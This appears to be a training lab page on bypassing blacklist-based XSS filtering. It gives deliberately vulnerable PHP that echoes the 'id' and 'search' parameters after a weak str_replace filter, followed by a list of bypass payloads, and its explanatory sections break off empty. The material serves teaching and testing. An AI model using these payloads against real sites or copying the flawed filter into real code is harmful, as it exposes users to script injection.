Test XSS with blacklist-based filtering on id and search parameters
This lab demonstrates a common vulnerability where parameters use blacklist filtering to block specific XSS payloads. The 'id' and 'search' parameters filter out specific words but may still be vulnerable to bypass techniques.
# use arjun tool to find hidden parameters
Input: <script>alert(1)</script>
Output: <script>alert(1)</script>
Input: <script>alert(1)</script>
Output: <>alert(1)</>
Input: <scrscriptipt>alert(1)</scrscriptipt>
Output: <script>alert(1)</script>
Objective: Discover the hidden id and search parameters and bypass the blacklist filtering to execute XSS payloads.
if(isset($_GET["fname"]) && isset($_GET["lname"])){
echo htmlspecialchars($_GET["fname"], ENT_QUOTES);
echo htmlspecialchars($_GET["lname"], ENT_QUOTES);
}
elseif(isset($_GET["id"])){
$arr = array('script','img','image','onfocus');
$re = str_replace($arr, '', $_GET['id']);
echo $re;
}
elseif(isset($_GET["search"])){
$arr = array('script','img','image','onfocus');
$re = str_replace($arr, '', $_GET['search']);
echo $re;
}
<scrscriptipt>alert(1)</scrscriptipt><imimgg src=x onerror=alert(1)><imimaggge src=x onerror=alert(1)><svg onload=alert(1)><body onload=alert(1)><iframe src=javascript:alert(1)><SCRIPT>alert(1)</SCRIPT><ScRiPt>alert(1)</ScRiPt><IMG src=x onerror=alert(1)><object data="javascript:alert(1)"></object><embed src="javascript:alert(1)"></embed><marquee onstart=alert(1)></marquee>The current filter removes these exact strings: 'script', 'img', 'image', 'onfocus'
This means any of these techniques can bypass the filter:
Blacklist filtering demonstrates:
For secure web applications: